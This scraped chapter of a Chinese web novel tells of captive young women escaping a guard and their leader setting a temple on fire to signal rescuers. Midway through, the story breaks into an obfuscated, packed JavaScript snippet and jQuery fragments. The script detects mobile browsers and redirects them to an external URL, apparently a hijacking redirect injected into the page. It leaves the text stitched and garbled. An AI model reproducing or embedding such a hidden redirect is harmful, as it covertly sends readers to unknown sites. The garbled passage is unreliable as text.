18. 焚天烈火

作品:《孤阙逐星

    “啊——真是无趣的夜晚。”腰间带刀的男人伸了个懒腰,目光中写满了不怀好意,“这么闷着,不如……去找点乐子?”


    “她们不能动。”暗处传来平静的制止。


    “嘁,”带刀人啐了一口,“这么多上等货色,少一两个又何妨?让弟兄们先尝尝鲜也不为过吧。”


    他像是忽然想起什么,咧嘴露出猥琐的笑:“我要去找那个有趣的女人。刚才我一脚把她踹得蜷在地上,像条快要死掉的臭虫一样扭动来扭去,实在太有意思了,哈哈哈哈。”


    他越说越兴奋,唾沫横飞:“女人嘛,就该顺从点,乖乖闭上嘴,然后躲在一旁的角落里发抖。那样才——”


    话音戛然而止。


    顷刻间,一道锐利的银光掠过他粗壮的脖颈。


    带刀人愕然瞪大双眼,难以置信地望向眼前的年轻男子,甚至猜不出他究竟用的是什么兵器。


    他还想说什么,却只能发出“嗬嗬”的气音,鲜红的液体从颈间喷涌而出。


    年轻男子手腕轻转,一把纯然墨色,轻薄如纸的铁扇在他手中悄然合拢,只有血珠在边缘无声滑落。


    他漠然的看着那具沉重的身躯轰然倒地,淡淡评价道:


    “就凭你,也配对她不敬。”


    -


    另一头,看守囚室的守卫正伏在门边昏昏欲睡。


    忽然,囚室内传来一阵细微的异响,他猛地从睡意中惊醒。


    “喂!里头搞什么鬼?都给老子安分点!”他一边骂骂咧咧,一边掏出钥匙开门查看。


    “刚才是谁在闹事?滚出来!”


    他凶狠的目光在少女们身上来回扫过,她们个个低眉顺眼地瑟缩在墙角,双手整齐的背在身后,与往日里并无不同。


    等等……


    人数好像不对?


    这个念头刚刚闪过,就有什么东西突然从他背后袭来。他还未来得及回头,后脑便传来一阵剧痛,眼前顿时一黑。


    趁他身形踉跄,藏在门后的杨凛星迅速拉动预先设好的绳套。守卫双腿被缚,“砰”地一声重重栽倒在地。


    “你们这些贱——”


    “砰!”


    第二记重击毫不留情地落下,将他嘴里未尽的咒骂彻底打断。守卫脑袋一歪,彻底失去了意识。


    杨凛星上前掂了掂对方手中那只沉甸甸的木盆,唇角微扬:“这盆子倒是结实。卓云,你下手可真不轻。”


    名唤卓云的少女冷哼一声,眼底燃着怒火:“砸他一百回也难解我心头之恨!”


    囚室中的少女们渐渐围拢过来,一个胆小的声音怯怯响起:“他……他死了吗?”


    “不至于,”杨凛星摇头,“只是昏过去了。”


    卓云接口道:“一时半会儿醒不来,够我们离开了。”


    但仍有人面露惶惑:“我们真的能逃出去吗?外面肯定还有不少守卫……”


    “要怎么对付他们?”


    杨凛星明白,此刻已不同于先前,必须要给她们足够的信心。


    有娀彩适时开口:“我们只需要把位置报给外面的人。”


    闻言,众人面面相觑。


    “可我们连自己在哪儿都不知道……”有人低语,“都是被打晕了送来的。”


    “我们准备了烟火。”杨凛星语气沉稳,“只要找到火源,在空地点燃,我们的人看到信号,一定会前来接应。”


    有娀彩低声催促:“该动身了。”


    卓云环视室内,见一时无人响应,正要独自跟上,身后却传来一声清亮的“且慢!”。


    众人望去,只见一名少女站起身来,正是方才不断提问的那位。她目光直直望向杨凛星,语气坚定:“我同你们一起去。家父是位营造匠人,我自小耳濡目染,对屋舍的构造很熟悉,应该能帮上忙。”


    说罢,她敛衽为礼:“小字法珠。”


    “你叫我凛星就好。”


    有娀彩在一旁轻轻跺脚,嗓音里带着焦急:“快些走吧,再耽搁怕要生变了。”


    行走一半,杨凛星回头一看,身后跟着屋子里多半的少女。


    她们虽面露胆怯,但还是坚定的跟在她们身后,希望能够尽到微薄之力。


    -


    夜色如墨,廊庑深处,一群少女正屏息前行。杨凛星走在最前端,指尖紧扣着那枚救命的烟花。


    只要一簇微弱的火苗,就能向沈灵泽他们传递囚牢的位置。


    “找找灯油,或是香烛。”她低声吩咐,少女们立刻散入四周的偏殿搜寻。


    忽然,队伍末尾传来一声压抑的惊叫。


    杨凛星立刻回身望去,却瞧见地上倒着一具尚有余温的尸体。正是先前那个踹伤她的带刀守卫。喉间一道细窄伤口,血渍未干。


    她想不通此人为何会突然暴毙在这里,难道已经有人潜入了这个地方?


    来不及更多的细想,她最遗憾的是自己没有机会亲手了结这个畜生。


    “是女娲庙!”卓云站在一处偏门外,压低声音惊呼,手指指向屋内。


    顺着她的方向望去,一尊巨大的女娲神像坐落在此,她面前的神龛上缭绕的香火。三炷线香将尽未尽,火星明灭。


    希望就在眼前。


    有娀彩快步上前,正要取香,暗处却传来一声熟悉的叹息:


    “彩儿,你为何就是不听叔叔的话呢?”


    帷幔轻动,有娀淮缓步走出,身后跟着数名持刀护卫。廊下的灯光落在他脸上,映出那张有娀彩从小看到大的慈爱面容。


    有娀彩如遭雷击,伸出的手僵在半空,踉跄着连退三步。


    “小、小叔叔?”她声音发颤,眼底满是不可置信,“你为何…会在这里?”


    她此刻大脑一片空白,有一句话却清晰的从她脑海中浮现:


    “如果,你去了以后,发现有些事情完全超出你的相信,与你十几年来的认知截然相反,甚至让你难以接受,你会如何?”


    有娀彩怔怔地望着那张熟悉的脸,又猛地转头看向杨凛星。四目相对的刹那,她从对方沉静而凝重的目光中,读懂了那个可怕的猜测。


    原来这一切,叔叔早就知情。


    或许,根本就是他一手操纵。


    难怪这么久以来,此事始终得不到妥善解决,难怪母亲从始至终都不愿让她插手。她还天真地以为是案情太过棘手,却万万没想到,始作俑者竟出自本家,竟是她最信任的亲人。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609538|187607||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>这个认知宛如一盆冰水当头浇下,让她从指尖到心底都冷得发颤,连呼吸都凝滞在胸口。


    “为什么……要这么做。”她轻声问道。


    有娀淮垂眸看着她,眼中昔日的温情已褪得干干净净,只剩下一片冰封的漠然。


    “把烟火交出来。”他的声音没有半分波动,“否则,别怪叔叔不念旧情。”


    门外,不明真相的少女们仍在向偏门涌来,杨凛星猛地回头,厉声喝道:“别进来!向反方向跑!”


    有娀淮闻言,发出一声轻蔑的冷笑:“跑?”


    他负手而立,如同在看一场早已注定结局的戏。“此地早已布下天罗地网,你们还能逃往何处?”


    杨凛星心念电转,眼下带着烟火的人全都被困在了殿中,有娀淮身后黑压压一片全是武功高强的护卫,局势几乎是再无扭转的可能,到底要怎么样才能让沈灵泽他们注意到这里。


    明明她只需要一点火,一点火而已!


    ……


    火!


    一个近乎疯狂的计划如闪电般划过她的脑海。


    就在杨凛星思绪飞转之际,有娀彩的内心也正经历着一场无声的风暴。


    她的指尖深深陷进掌心,细微的刺痛却远不及心中翻涌的惊涛骇浪。


    那个曾将她扛在肩头看花灯的小叔叔,那个会因她一声咳嗽而彻夜守候的亲人,此刻竟与眼前这人间地狱般的景象重叠。胃里一阵翻江倒海,背叛的苦涩几乎要冲破喉咙。她死死咬住下唇,血腥味在口中弥漫,强迫自己咽下所有质问与悲鸣。


    脑海中闪过那些少女绝望的眼眸,又闪过叔叔往日温和的笑脸,两种画面疯狂撕扯着她的理智。最终,所有混乱的思绪凝聚成杨凛星那双沉静而有力的眼睛。


    那里面没有质疑,只有等待她抉择的信任。


    她闭上眼,深吸一口气,将那个天真懦弱的自己连同十几年构筑的信仰,一同锁进了心底最深的角落。当她再次睁眼时,眸中只剩一片破釜沉舟的清明。她向前一步,身形稳如磐石,用清晰得不带一丝颤抖的声音说道:


    “想动她们,先从我尸体上踏过去。”


    就在有娀淮因侄女那视死如归的宣言而瞳孔微缩的瞬息。


    杨凛星动了。


    她身形极快,在有娀淮和他身后的护卫反应过来之前,已扑至神龛之前。


    她不是去取那将尽的线香,而是双手猛地擎起那尊沉甸甸的、正燃着熊熊火焰的青铜鹤形长明灯!


    灯盏内盛满的灯油剧烈晃动,灼热的火焰险些燎过她的眉梢,她却毫不在意,转身将这座沉重的火源奋力掷向殿侧悬挂的明黄锦缎帷幔!


    “尔敢!”有娀淮的怒喝与护卫们仓啷啷的拔刀声交织成片。


    可炽热的灯油已泼洒而出,遇帷即燃,攀援直上,瞬息吞没了三丈高的梁柱。烈焰翻卷,将彩绘穹顶映得如同炼狱血池,滚滚热浪逼得众人连连后退。


    杨凛星立于翻腾的火海前,飞溅的星火在她染尘的衣袂上烙下灼痕。她抬手抹过颊边烟灰,眸光比跃动的火焰更烈:


    “既然出不去,我就烧了这座牢笼!且看这焚天烈火,够不够为你们送葬!”


    混乱就此爆发。